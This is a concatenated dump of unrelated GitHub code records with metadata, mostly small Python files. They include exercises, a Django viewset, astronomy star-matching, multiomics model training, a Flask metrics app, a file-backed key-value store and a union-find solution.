\"S\":\n\t\tprint(\"Invalid key \\\"\",wtd,\"\\\"\",sep=\"\")\n\t\tinput(\"P or S\")\n\telse:\t\n\t\tif wtd == \"P\":\n\t\t\tPlaygame()\n\t\telse:\n\t\t\tSettings()\n\t\t\tinput(\"P or S\")\nelse:\n\tif wtd == \"P\":\n\t\tPlaygame()\n\telse:\n\t\tSettings()\n\t\tinput(\"P or S\")\n","repo_name":"SlothScript/SlothScript.github.io","sub_path":"pythonStuff/UBG.py","file_name":"UBG.py","file_ext":"py","file_size_in_byte":4269,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"19111181092","text":"'''Desenvolva um programa que leia seis números inteiros e mostre a soma\napenas daqueles que forem pares. Se o valor digitado for impar desconsidere-o.'''\ns = 0\ncont = 0\nfor c in range(1, 7):\n    num = int(input('Digite um número: '))\n    if num % 2 == 0:\n        s = s + num\n        cont += 1\nprint('Total da soma dos números pares: {}'.format(s))\n","repo_name":"taynareis/projetopython","sub_path":"Atividades_Curso_Em_Video_Python/desafio50.py","file_name":"desafio50.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2251081570","text":"#!/bin/python\n#coding: utf-8\n# +-------------------------------------------------------------------\n# | system: django-vue-lyadmin\n# +-------------------------------------------------------------------\n# | Author: lybbn\n# +-------------------------------------------------------------------\n# | QQ: 1042594286\n# +-------------------------------------------------------------------\n\n# ------------------------------\n# django_celery_beat IntervalSchedule view\n# ------------------------------\n\nfrom django_celery_beat.models import IntervalSchedule\n\nfrom utils.serializers import CustomModelSerializer\nfrom utils.viewset import CustomModelViewSet\n\n\nclass IntervalScheduleSerializer(CustomModelSerializer):\n\n    class Meta:\n        model = IntervalSchedule\n        read_only_fields = [\"id\"]\n        fields = '__all__'\n\n\nclass IntervalScheduleModelViewSet(CustomModelViewSet):\n    \"\"\"\n    以特定（固定间隔）时间间隔（例如每 5 秒）运行的计划(每 /月/日/时/分/秒/微秒)\n    DAYS = 'days'\n    HOURS = 'hours'\n    MINUTES = 'minutes'\n    SECONDS = 'seconds'\n    MICROSECONDS = 'microseconds'\n    \"\"\"\n    queryset = IntervalSchedule.objects.all()\n    serializer_class = IntervalScheduleSerializer\n\n","repo_name":"lybbn/django-vue-lyadmin","sub_path":"backend/apps/lycrontab/views/celery_interval_schedule.py","file_name":"celery_interval_schedule.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"35"}
{"seq_id":"35945053169","text":"import pickle\r\nfrom tqdm import tqdm\r\n\r\nwith open('../data/moban_dic.pk','rb') as f:\r\n    moban_dic = pickle.load(f)\r\n\r\nwith open('../data/gen_test_with_bert.pk','rb') as f:\r\n    test_dataset = pickle.load(f)\r\n\r\ndef find_similary_key_subset(x):\r\n    xx = x.split('.')\r\n    most_key = 0\r\n    ans = \"无\"\r\n    for k in moban_dic.keys():\r\n        aa = k.split('.')  # subset\r\n        flag = 0\r\n        for j in aa:\r\n            if j not in xx:\r\n                flag = 1\r\n        if flag == 0:\r\n            if len(aa) > most_key:\r\n                most_key = len(aa)\r\n                ans = k\r\n    return ans\r\n\r\ndef find_similary_key(x):\r\n    xx = x.split('.')\r\n    most_key = 0\r\n    ans = \"无\"\r\n    jj = [i for i in moban_dic.keys()]\r\n    random.shuffle(jj)\r\n    for k in jj:\r\n        aa = k.split('.')  # subset\r\n        flag = 0\r\n        for j in xx:\r\n            if j not in aa:\r\n                flag = 1\r\n        if flag == 0 and len(aa) > most_key:\r\n            most_key = len(aa)\r\n            ans = k\r\n    return ans\r\n\r\n\r\n\r\n\r\nimport random\r\nfrom CY_DataReadandMetric import *\r\nnum = 0\r\nkdm = KD_Metric()\r\nbleu1 = NLTK_BLEU()\r\nbleu4 = NLTK_BLEU(ngram_weights=(0, 0, 0, 1))\r\ndist1 = Distinct1()\r\ndist2 = Distinct2()\r\n\r\nwith open('../data/160_last_topic2num.pk', 'rb') as f:\r\n    topic2idx = pickle.load(f)\r\n\r\nmoban_ans = []\r\nfor dic in tqdm(test_dataset):\r\n    bert_pre = dic['bert_word']\r\n    key = '无'\r\n    if len(bert_pre) > 0:\r\n        xx = sorted(bert_pre)\r\n        x = '.'.join(xx)\r\n        if x not in moban_dic.keys():\r\n            num += 1\r\n            x = find_similary_key(x)\r\n        key = x\r\n    # gen = random.choice(list(moban_dic[key]))\r\n    gen = random.choice(list(moban_dic[key]))\r\n    # gen = dic['response']\r\n    kdm([dic['response']], [gen])\r\n    bleu1([dic['response']], [gen])\r\n    bleu4([dic['response']], [gen])\r\n    dist1([gen])\r\n    dist2([gen])\r\n    moban_ans.append(gen)\r\nans = {}\r\nans.update(kdm.get_metric(reset=False))\r\nans.update({\"bleu1\": bleu1.get_metric(reset=False)})\r\nans.update({\"bleu4\": bleu4.get_metric(reset=False)})\r\nans.update({\"dist1\": dist1.get_metric(reset=False)})\r\nans.update({\"dist2\": dist2.get_metric(reset=False)})\r\nwith open('moban_result.pk','wb') as f:\r\n    pickle.dump(ans, f)\r\nwith open('moban_ans.pk','wb') as f:\r\n    pickle.dump(moban_ans, f)\r\nprint(ans)\r\n\r\n# len(moban_ans)","repo_name":"lwgkzl/MedDG","sub_path":"MedDG/generation/moban.py","file_name":"moban.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","stars":74,"dataset":"github-code","pt":"35"}
{"seq_id":"29051890480","text":"import numpy as np\nimport astropy.io.fits as pf\nimport matplotlib.pyplot as plt\nfrom bsub import bsub\nimport urllib as url\nimport math as math\nfrom usno import usno \nfrom cmath import cos, sin, phase\nfrom math import radians, degrees\nfrom FindStars import LocateMainPeakRanges\n\ndef GetCCDxyFromUSNOFits(filename):\n    s1 = pf.open(filename)\n    # Read position from the FITS file and convert RA/DEC to degrees\n    # be sure to check that the header data is reliable. If not\n    # edit the position by hand.\n    ras = s1[0].header['ra']\n    des = s1[0].header['dec']\n    radeg = 15*(float(ras[0:2]) + float(ras[3:5])/60. + float(ras[6:])/3600.)\n    dsgn = np.sign(float(des[0:2]))\n    dedeg = float(des[0:2]) + dsgn*float(des[4:5])/60. + dsgn*float(des[7:])/3600.\n    fovam = 3.0 # size of square search field in arc min\n    epoch = s1[0].header['equinoxu']\n    name,rad,ded,rmag = usno(radeg,dedeg,fovam,epoch)\n    print(rad)\n    \n    plt.figure(1)\n    w = np.where(rmag <28)[0]\n    \n    \n    '''\n    plt.plot(rad[w],ded[w],'g.')\n    plt.locator_params(axis='x',nbins=4)\n    plt.locator_params(axis='y',nbins=4)\n    plt.tick_params('x',pad=10)\n    plt.xlabel('RA [Deg]')\n    plt.ylabel('Dec [Deg]')\n    plt.ticklabel_format(useOffset=False)\n    plt.axis('scaled')\n    plt.xlim([106.0,105.0]) # reverse the x-axis direction\n    '''\n    \n    rar0 = radians((np.amax(rad[w])+np.amin(rad[w]))/2) #RA0 in radian\n    der0 = radians((np.amax(ded[w])+np.amin(ded[w]))/2) #Declination0 in radian\n    \n    rar = []\n    der = []\n    X = []\n    Y = []\n    X1 = []\n    Y1 = []\n    x=[]\n    y=[]\n    xRotated=[]\n    yRotated=[]\n    for i in w:\n        rar.append(radians(rad[i])) #RA in radian\n        der.append(radians(ded[i])) #Declination in radian\n    \n    j = 0\n    while (j < len(rar)):\n        X.append(-((cos(der[j])*sin(rar[j]-rar0))/(cos(der0)*cos(der[j])*cos(rar[j]-rar0)+sin(der[j])*sin(der0))))\n        Y.append(-((sin(der0)*cos(der[j])*cos(rar[j]-rar0)-cos(der0)*sin(der[j]))/(cos(der0)*cos(der[j])*cos(rar[j]-rar0)+sin(der[j])*sin(der0))))\n        j+=1\n    \n    k = 0\n    while (k < len(X)):\n        x.append(16.84*(X[k]/0.000030)+514) # x.append(16.84*(X[k]/0.000030)+514)\n        y.append(16.84*(Y[k]/0.000030)+438) # y.append(16.84*(Y[k]/0.000030)+438)    \n        k+=1\n    \n    m=0\n    thetaDegrees= 15 #5\n    thetaRadians=radians(thetaDegrees)\n    print(cos(thetaRadians).real)\n    \n    while (m < len(x)):\n        xRotated.append((x[m]*(cos(thetaRadians)) - y[m]*(sin(thetaRadians))).real)\n        yRotated.append(((x[m]*(sin(thetaRadians)) + y[m]*(cos(thetaRadians)))).real)\n        m+=1\n        \n    n=0    \n    while (n < len(X)):\n        X1.append(X[n].real)\n        Y1.append(Y[n].real)\n        n+=1\n           \n    return xRotated, yRotated, X1, Y1\n\n\nprint('Asteroids do not concern me, Admiral. - Darth Vader')\n\nfilename = 'data-2017-03-02-nickel-Shelley.Wright/d1060.fits'\n\nx = pf.getdata(filename)\nhdr = pf.getheader(filename)\nxb = bsub(x,hdr.get('cover'))\n\n\nflat = pf.getdata(filename)\nfhdr = pf.getheader(filename)\nflatb = bsub(flat,hdr.get('cover')) # Bias subtract\nflatb = flatb/np.median(flatb) # normalize\n\n\nstarRows, starCols = LocateMainPeakRanges(flatb, 10., 10.0, 25, 25) \n\nprint(\"starRows : \" + str(starRows))\nprint(\"starCols : \" + str(starCols))\n\nfits1 = 'data-2017-03-02-nickel-Shelley.Wright/d1060.fits'\n\nxRotated, yRotated, XCyl, YCyl = GetCCDxyFromUSNOFits(fits1)\n\nprint(xRotated)\nprint(yRotated)\n\n\n\n\n\nrotatedXY = []\nfor i in range(len(xRotated)):\n    rotatedXY.append([xRotated[i], yRotated[i]])\n  \nstarXY = []\nfor i in range(len(starRows)):\n    starXY.append([starRows[i], starCols[i]])  \n\nprint(\"rotatedXY: \" + str(rotatedXY))\nprint(\"starXY: \" + str(starXY))\n\n\nstarNMinDistance = []\ntempCombinedDiff = []\nfor star in starXY:\n    tempCombinedDiff[:] = [] #clears list\n    for usnoStar in rotatedXY:\n        tempCombinedDiff.append(math.sqrt(((star[1] - usnoStar[1])**2)+((star[0] - usnoStar[0])**2)))\n    starNMinDistance.append([star[0], star[1], min(tempCombinedDiff)])\n    #starYNMinDistance.append([star[1], min(tempCombinedDiff)])\n\nprint(\"starXNMinDistance: \" + str(starNMinDistance))\n\n'''\n#plt.subplot(212)\n#plt.plot(xRotated, yRotated, 'b.')\nplt.xlabel('x [Pixel]')\nplt.ylabel('y [Pixel]')\nplt.title(\"Centroid Generated Image\")\nplt.xlim((0,1024))\nplt.ylim((0,1024))\nplt.show()\n\n\nXPlottingOnXAxis = [i[0] for i in starNMinDistance]\nXplottingOnYAxis = [i[2] for i in starNMinDistance]\n\nyPlottingOnXAxis = [i[1] for i in starNMinDistance]\nyPlottingOnYAxis = [i[2] for i in starNMinDistance]\n\nX_Differences, = plt.plot(XPlottingOnXAxis, XplottingOnYAxis, \"g^\", label = 'x')\nY_Differences, = plt.plot(yPlottingOnXAxis, yPlottingOnYAxis, \"r^\", label = 'y')\n#plt.legend(bbox_to_anchor=(1.05, 1), loc = 2, borderaxespad=0.)\nplt.legend(handles=[X_Differences, Y_Differences])\nplt.xlim((0,1000))\nplt.ylim((0,200))\nplt.title(\"Pixel Offset Distance\")\nplt.xlabel(\"x or y [pixel]\")\nplt.ylabel(\"Pixel Offset Distance [pixel]\")\nplt.show()\n'''\n","repo_name":"Wylie-Modro/FindingAsteroidsFromCCDImages","sub_path":"compareDataUsno.py","file_name":"compareDataUsno.py","file_ext":"py","file_size_in_byte":4969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38315432717","text":"# activate virtual environment \n\nimport os\nimport numpy as np\nimport pandas as pd\nimport time\n\nos.chdir('/scratch/global/maren/multiomics-data/scMVP/')\n\nfrom dataset import LoadData,GeneExpressionDataset, CellMeasurement\nfrom models import VAE_Attention, Multi_VAE_Attention, VAE_Peak_SelfAttention\nfrom inference import UnsupervisedTrainer \n# in multi_inference.py: error because of deprecated version of scikit-learn. \n# To get rid of the issue, change line \"from sklearn.utils.linear_assignment_ import linear_assignment\" in original code to the following: \n# from scipy.optimize import linear_sum_assignment as linear_assignment\n# see here: https://stackoverflow.com/questions/62390517/no-module-named-sklearn-utils-linear-assignment\nfrom inference import MultiPosterior, MultiTrainer\nfrom scMVP_anndata_dataloader import LoadFromAnnData\nimport torch\n\nimport scanpy as sc\nimport anndata\n\nimport scipy.io as sp_io\nfrom scipy.sparse import csr_matrix, issparse\n\ntorch.set_num_threads(40) # do not use all CPU threads\n\ndata_path_rna='/scratch/global/treppner/multi_omics_data/neurips_data/subsampled'\ndata_path_atac='/scratch/global/maren/multiomics-data/neurips_data_atac_top_peaks'\n\nn_cells = [500, 1000, 2500, 5000, 10000]\n\nimport random\n\nfor i in range(10):\n    print('rep %s...'%i)\n    for j in n_cells:\n        print('%s cells...'%j)\n        # 1) set seeds \n        torch.manual_seed(i*j)\n        random.seed(i*j)\n        np.random.seed(i*j)\n        # 2) set paths \n        output_path=os.getcwd() + '/output'\n        if os.path.isfile('{}/csv/latent_subsample_{}_cells_rep_{}.csv'.format(output_path, j, i)):\n            continue\n        # 3) load subsampled data\n        print('loading data...')\n        load_rna_filename = data_path_rna + '/adata_gex_subsample_%s_cells_rep_%s.h5ad'%(j,i)\n        load_atac_filename = data_path_atac + '/adata_atac_subsample_top_peaks_%s_cells_rep_%s.h5ad'%(j,i)\n        rnadata = anndata.read_h5ad(load_rna_filename)\n        atacdata = anndata.read_h5ad(load_atac_filename)\n        # 4) set timers \n        cputime_begin = time.process_time()\n        clocktime_begin = time.time()\n        # 5) prepare data \n        dataset = LoadFromAnnData(rnadata=rnadata, atacdata=atacdata, atac_threshold=0.001, cell_threshold=1)\n        # 6) set training hyperparameters\n        n_epochs = 30\n        if j < 5000:\n            lr = 5e-4\n        else:\n            lr = 5e-4#3\n        use_batches = False\n        use_cuda = False # False if using CPU\n        n_centroids = 10\n        n_alfa = 1.0\n        # 7) define model\n        multi_vae = Multi_VAE_Attention(dataset.nb_genes, len(dataset.atac_names), n_batch=0, n_latent=10, n_centroids=n_centroids, n_alfa = n_alfa, mode=\"mm-vae\") # should provide ATAC num, alfa, mode and loss type\n        trainer = MultiTrainer(\n            multi_vae,\n            dataset,\n            train_size=1.0,\n            use_cuda=use_cuda,\n            frequency=5,\n        )\n        # 8) define model\n        trainer.train(n_epochs=n_epochs, lr=lr)\n        # 9) extract and save latent representations \n        full = trainer.create_posterior(trainer.model, dataset, indices=np.arange(len(dataset)),type_class=MultiPosterior)\n        latent, latent_rna, latent_atac, cluster_gamma, cluster_index, batch_indices, labels = full.sequential().get_latent() \n        latent_df = pd.DataFrame(latent)\n        # 10) re-order cells so that they match the barcodes \n        reordered_inds = np.array([np.argwhere(el==np.array(dataset.barcodes))[0,0] for el in rnadata.obs_names])\n        latent_df = latent_df.loc[reordered_inds,:]\n        assert((dataset.barcodes[reordered_inds] == rnadata.obs_names).sum() == j)\n        latent_df.index = rnadata.obs_names\n        latent_rna_df = pd.DataFrame(latent_rna)\n        latent_atac_df = pd.DataFrame(latent_atac)\n        latent_rna_df.index = rnadata.obs_names\n        latent_atac_df.index = rnadata.obs_names\n        # 11) get timings\n        cputime_end = time.process_time()\n        clocktime_end = time.time()\n        cputime_elapsed = cputime_end - cputime_begin\n        clocktime_elapsed = clocktime_end - clocktime_begin\n        # 12) save latents\n        latent_df.to_csv('{}/csv/latent_subsample_{}_cells_rep_{}.csv'.format(output_path, j, i))\n        latent_rna_df.to_csv('{}/rna/latent_rna_{}_cells_rep_{}.csv'.format(output_path, j, i))\n        latent_atac_df.to_csv('{}/atac/latent_atac_{}_cells_rep_{}.csv'.format(output_path, j, i))\n        # 13) save timings \n        with open('{}/timings/timings_{}_cells_rep_{}.txt'.format(output_path, j, i), 'w') as f: \n            f.write('clocktime: %s \\n'%(clocktime_elapsed))\n            f.write('cputime: %s \\n'%(cputime_elapsed))\n        f.close()\n#","repo_name":"MTreppner/multiomics_dgms","sub_path":"Python/scMVP/run_scMVP.py","file_name":"run_scMVP.py","file_ext":"py","file_size_in_byte":4709,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"17680918880","text":"print(\"CHANGE CALCULATOR\")\r\n\r\nquarter = 25\r\ndime = 10\r\nnickel = 5\r\npenny = 1\r\n\r\nmoneygiven = int(input('Enter how much money you were given'))\r\ncitem = int(input('How much was the cost'))\r\nmoneygiven = int(float(moneygiven)*100)\r\ncitem = int(float(citem)*100)\r\nmoneyback = moneygiven - citem\r\n\r\nqmb = moneyback/quarter\r\npartialtotal = moneyback - qmb * quarter\r\ndmb = partialtotal // dime\r\ndpartialtotal = partialtotal - dmb * dime\r\nnmb = dpartialtotal // nickel\r\nnpartialtotal = dpartialtotal - nmb * nickel\r\npmb = npartialtotal // pmb\r\nppartialtotal = npartialtotal - pmb * penny\r\n\r\nprint('You need %s quarters, %s dimes, %s nickels, %s pennies ' %(qmb,dmb,nmb,pmb))","repo_name":"ZubierAbd/Abds-repository","sub_path":"changereturn.py","file_name":"changereturn.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18342903667","text":"import json\nimport os\nimport tempfile\nimport portalocker\n\nDEFAULT_DB_FILE = os.path.join(tempfile.gettempdir(), \"cli-db.json\")\n\n\nclass CliDb:\n    def __init__(self, db_file=DEFAULT_DB_FILE):\n        self._db_file = db_file\n\n    @property\n    def db_lock(self):\n        return portalocker.Lock(self._db_file + \".lock\", timeout=0.5)\n\n    def _write_db(self, db):\n        tmp_fd, tmp_name = tempfile.mkstemp()\n        with open(tmp_name, \"w\") as tmp_db_fp:\n            json.dump(db, fp=tmp_db_fp, indent=4)\n        os.rename(tmp_name, self._db_file)\n\n    def _no_db_file(self):\n        return not os.path.isfile(self._db_file)\n\n    def set(self, key, value):\n        with self.db_lock:\n            if self._no_db_file():\n                with open(self._db_file, \"w\") as db_fp:\n                    json.dump({}, fp=db_fp, indent=4)\n\n            with open(self._db_file, \"r+\") as db_fp:\n                db = json.load(fp=db_fp)\n                db[key] = value\n\n            self._write_db(db)\n\n    def get(self, key):\n        with self.db_lock:\n            if self._no_db_file():\n                return None\n\n            with open(self._db_file, \"r+\") as db_fp:\n                db = json.load(fp=db_fp)\n                value = db.get(key)\n                return value\n\n    def delete(self, key):\n        with self.db_lock:\n            if self._no_db_file():\n                return None\n\n            with open(self._db_file, \"r+\") as db_fp:\n                db = json.load(fp=db_fp)\n                if db.get(key):\n                    del db[key]\n\n            self._write_db(db)","repo_name":"nhelfman/cli-db","sub_path":"clidb/cli_db.py","file_name":"cli_db.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"17308240863","text":"import os\nimport datetime\nimport sys\nimport logging\n\nfrom flask import Flask, render_template\nfrom logging.config import dictConfig\nfrom werkzeug.middleware.dispatcher import DispatcherMiddleware\nfrom prometheus_client import make_wsgi_app, Summary, Counter\n\ndictConfig({\n    'version': 1,\n    'formatters': {'default': {\n        'format': '[%(asctime)s] %(levelname)s in %(module)s: %(message)s',\n    }},\n    'handlers': {'wsgi': {\n        'class': 'logging.StreamHandler',\n        'stream': 'ext://sys.stdout',\n        'formatter': 'default'\n    }},\n    'root': {\n        'level': 'INFO',\n        'handlers': ['wsgi']\n    }\n})\n\nc = Counter('my_failures', 'Description of counter')\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n    app.logger.info('Request at %s ', datetime.datetime.now())\n    return render_template('index.html')\n\n\napp.wsgi_app = DispatcherMiddleware(app.wsgi_app, {\n    '/metrics': make_wsgi_app()\n})\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True,host='0.0.0.0',port=int(os.environ.get('PORT', 8080)))\n\n","repo_name":"kyleabenson/flaskMeditationApp","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74181152100","text":"class UF:\n    def __init__(self, n):\n        self.count = n\n        self.arr = [i for i in range(n)]\n\n    def find(self, a):\n        if a != self.arr[a]:\n            self.arr[a] = self.find(self.arr[a])\n        return self.arr[a]\n\n    def union(self, a, b):\n        if self.find(a) != self.find(b):\n            self.arr[self.find(a)] = self.find(b)\n            self.count -= 1\n            return True\n        return False\n\n    def united(self):\n        return self.count == 1\n\nclass Solution:\n    def maxNumEdgesToRemove(self, n: int, edges: List[List[int]]) -> int:\n        edges.sort(key=lambda x: x[0], reverse=True)\n        A = UF(n)\n        B = UF(n)\n        res = 0\n        for edge in edges:\n            if edge[0] == 3:\n                # alice and bob\n                a = A.union(edge[1] - 1, edge[2] - 1)\n                b = B.union(edge[1] - 1, edge[2] - 1)\n                if not a and not b:\n                    res += 1\n            elif edge[0] == 2:\n                # bob\n                if not B.union(edge[1] - 1, edge[2] - 1):\n                    res += 1\n            else:\n                # alice\n                if not A.union(edge[1] - 1, edge[2] - 1):\n                    res += 1\n        return res if B.united() and A.united() else -1","repo_name":"AyushAgnihotri2025/CP-Solutions","sub_path":"LeetCode/Python3/Hard/1579. Remove Max Number of Edges to Keep Graph Fully Traversable/1579-remove-max-number-of-edges-to-keep-graph-fully-traversable.py","file_name":"1579-remove-max-number-of-edges-to-keep-graph-fully-traversable.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"11948822054","text":"import numpy as np\nimport cv\n\ncap1 = cv2.VideoCapture(1)\ncap1.set(3, 1000)\ncap1.set(4, 1000)\n\nwhile(True):\n    ret1, frame1 = cap1.read()\n    cv2.imshow('frame1', frame1)\n\n# When everything done, release the capture\ncap1.release()\n\ncv2.destroyAllWindows()\n","repo_name":"bradyz/sandbox","sub_path":"cv/onewebcam.py","file_name":"onewebcam.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"8632514648","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar  9 17:42:11 2021\n\n@author: jcasasr\n\"\"\"\nimport networkx as nx\nimport numpy as np\nimport sys\nfrom multilayer.GraphMultiLayer import plot_ml_matrix\nimport multilayer.Metrics as Metrics\nimport multilayer.Functions as Functions\n\n\ndef get_metric_values(fs, em, clinic, METRIC=None):\n    num_subjs = em.shape[0]\n    num_nodes = 76\n    file_metric = fs.get_metrics_folder() + METRIC +\"-values.csv\"\n    \n    # check if metric is computed and stored previously \n    if fs.file_exists(file_metric):\n        fs.info(\"Metric '{}' was previously computed and stored... \".format(METRIC))\n        return None\n    else:\n        fs.info(\"Computing values for metric '{}'...\".format(METRIC))\n\n    values = np.zeros((num_subjs, num_nodes), dtype=float)\n    \n    for i in range(num_subjs):\n        fs.debug(\"Processing subject {}...\".format(i))\n        \n        # get data \n        A = em[i,:,:]\n        bool_reshape = True\n        \n        # compute the specific metric\n        try:\n            if METRIC=='Degree':\n                temp = np.count_nonzero(A > 0, axis=0)\n\n            elif METRIC=='Strength':\n                temp = np.sum(A, axis=0)\n\n            elif METRIC=='LocalEfficiency':\n                fs.info(\"Processing subject {}...\".format(i))\n                # Use 'distance'\n                A_inv = Functions.create_distance_A_from_A(fs, A)\n\n                # debug only\n                #plot_ml_matrix(fs, A, i)\n\n                # Compute A min\n                A_min = Functions.compute_A_min(fs, A_inv)\n\n                # create G\n                G = Functions.create_graph_from_AM(fs, A_min)\n\n                # compute LE as a single layer\n                temp = Metrics.compute_LE_SL(fs, G)\n\n                # Do not reshape \n                bool_reshape = False\n\n            elif METRIC=='ClosenessCentrality':\n                fs.info(\"Processing subject {}...\".format(i))\n                # Use 'distance'\n                A_inv = Functions.create_distance_A_from_A(fs, A)\n\n                # debug only\n                #plot_ml_matrix(fs, A, i)\n\n                # Compute A min\n                A_min = Functions.compute_A_min(fs, A_inv)\n\n                # create G\n                G = Functions.create_graph_from_AM(fs, A_min)\n\n                # compute LE as a single layer\n                temp = np.array(list(nx.closeness_centrality(G, distance='weight').values()))\n                \n                # Do not reshape \n                bool_reshape = False\n\n            elif METRIC=='BetweennessCentrality':\n                fs.info(\"Processing subject {}...\".format(i))\n                # Use 'distance'\n                A_inv = Functions.create_distance_A_from_A(fs, A)\n\n                # debug only\n                #plot_ml_matrix(fs, A, i)\n\n                # Compute A min\n                A_min = Functions.compute_A_min(fs, A_inv)\n\n                # create G\n                G = Functions.create_graph_from_AM(fs, A_min)\n\n                # compute LE as a single layer\n                temp = np.array(list(nx.betweenness_centrality(G, k=None, normalized=True, weight='weight').values()))\n                \n                # Do not reshape \n                bool_reshape = False\n            \n            else:\n                raise Exception(\"ERROR: Incorrect metric value! (METRIC is {})\".format(METRIC))\n        except Exception as e:\n                fs.error(e)\n                return None\n    \n        # Interlink\n        # interlink: folding results to get 76 nodes (instead of 152)\n        if bool_reshape:\n            temp2 = temp.reshape((76,2), order='F')\n            # sum values\n            temp3 = np.sum(temp2, axis=1)\n        else:\n            temp3 = temp\n            \n        # store the results for each node\n        values[i,:] = temp3\n        \n    # export\n    np.savetxt(file_metric, values, delimiter=\",\", fmt='%1.8f')\n\n    return(values)\n","repo_name":"ADaS-Lab/Multilayer-MRI","sub_path":"code/multilayer/MetricsMultiLayer.py","file_name":"MetricsMultiLayer.py","file_ext":"py","file_size_in_byte":3928,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"25033033204","text":"# test_run_logging.py\nfrom requests import request\nimport pytest\nimport json\nimport os\nfrom thor.maestro.bash import BashJobManager\n\nimport os.path\n\ndef test_run_shell_logging():\n    \"\"\"\n    Tests the BashJobManager's run_shell to ensure that it writes to the proper logfile. \n    \"\"\"\n\n    bjm = BashJobManager(\"arbitrary\")\n    ogcwd = os.getcwd()\n    print(os.getcwd())\n    os.chdir(\"tests/test_files\")\n    bjm.run_shell(\"test_run_shell_script.sh\")\n\n    # Check baseline file to make sure that the shell script was run correctly.\n    result_file_name = \"expected_result_for_run_shell_logging.txt\"\n    result_absolute_path = os.path.join(os.getcwd(), result_file_name)\n    with open(result_absolute_path, \"r\") as read_target_file:\n        log_file_name = \"logfile.txt\"\n        log_absolute_path = os.path.join(os.getcwd(), log_file_name)\n        with open(log_absolute_path, \"r\") as read_log_file:\n            assert read_target_file.read() == read_log_file.read()\n    \n    os.remove(log_absolute_path)\n    os.chdir(\"../..\")\n    assert os.getcwd() == ogcwd\n\n","repo_name":"uc-cdis/thor","sub_path":"tests/test_run_logging.py","file_name":"test_run_logging.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20479810046","text":"from typing import List, Any\n\nfrom matplotlib.animation import FuncAnimation\nfrom matplotlib.axes import Axes\nfrom matplotlib.figure import Figure\nfrom matplotlib.lines import Line2D\n\nfrom villageswar.main import WorldUpdater\nfrom villageswar.util import Barrier\nfrom villageswar.village import Village\nfrom villageswar.world import World\n\n\ndef get_jobs(village): ...\n\nclass PlotAnim(object):\n    ...\n\n    def __init__(self, titles: List[str], world_updater: WorldUpdater, barrier: Barrier):\n        self.xlim = None  # type: int\n        self.ylim = None  # type: int\n        self.curr_xlim = None  # type: int\n        self.curr_ylim = None  # type: int\n        self.world_obj = None  # type: World\n        self.world_updater = None  # type: WorldUpdater\n        self.village_obj1 = None  # type: Village\n        self.village_obj2 = None  # type: Village\n        self.barrier = None  # type: Barrier\n        self.titles = None  # type: List[str]\n        self.animation = None  # type: FuncAnimation\n        self.fig = None  # type: Figure\n        \n        self.pop_ax1 = None  # type: Axes\n        self.pop_ax2 = None  # type: Axes\n        self.pop_line1 = None  # type: Line2D\n        self.pop_line2 = None  # type: Line2D\n        self.pop_data_x = None  # type: (List[int], List[int])\n        self.pop_data_y = None  # type: (List[int], List[int])\n        \n        self.job_ax1 = None  # type: Axes\n        self.job_ax2 = None  # type: Axes\n        self.job_line1_w = None  # type: Line2D\n        self.job_line1_b = None  # type: Line2D\n        self.job_line1_h = None  # type: Line2D\n        self.job_line2_w = None  # type: Line2D\n        self.job_line2_b = None  # type: Line2D\n        self.job_line2_h = None  # type: Line2D\n        self.job_data_x = None  # type: (List[(int, int, int)], List[(int, int, int)])\n        self.job_data_y = None  # type: (List[(int, int, int)], List[(int, int, int)])\n        \n        self.dead_ax1 = None  # type: Axes\n        self.dead_ax2 = None  # type: Axes\n        self.dead_line1 = None  # type: Line2D\n        self.dead_line2 = None  # type: Line2D\n        self.dead_data_x = None  # type: (List[int], List[int])\n        self.dead_data_y = None  # type: (List[int], List[int])\n        \n        self.all_lines = None  # type: List[Line2D]\n        ...\n\n    def init(self) -> List[Line2D]: ...\n\n    def update_data(self): ...\n\n    def update_limits(self): ...\n\n    def animate(self, *unused: List[Any]) -> List[Line2D]: ...\n\n    def start_animation(self): ...\n\n    def handle_close(self, *unused): ...\n","repo_name":"woodenbell/villages-at-war","sub_path":"src/villageswar/plot.pyi","file_name":"plot.pyi","file_ext":"pyi","file_size_in_byte":2544,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
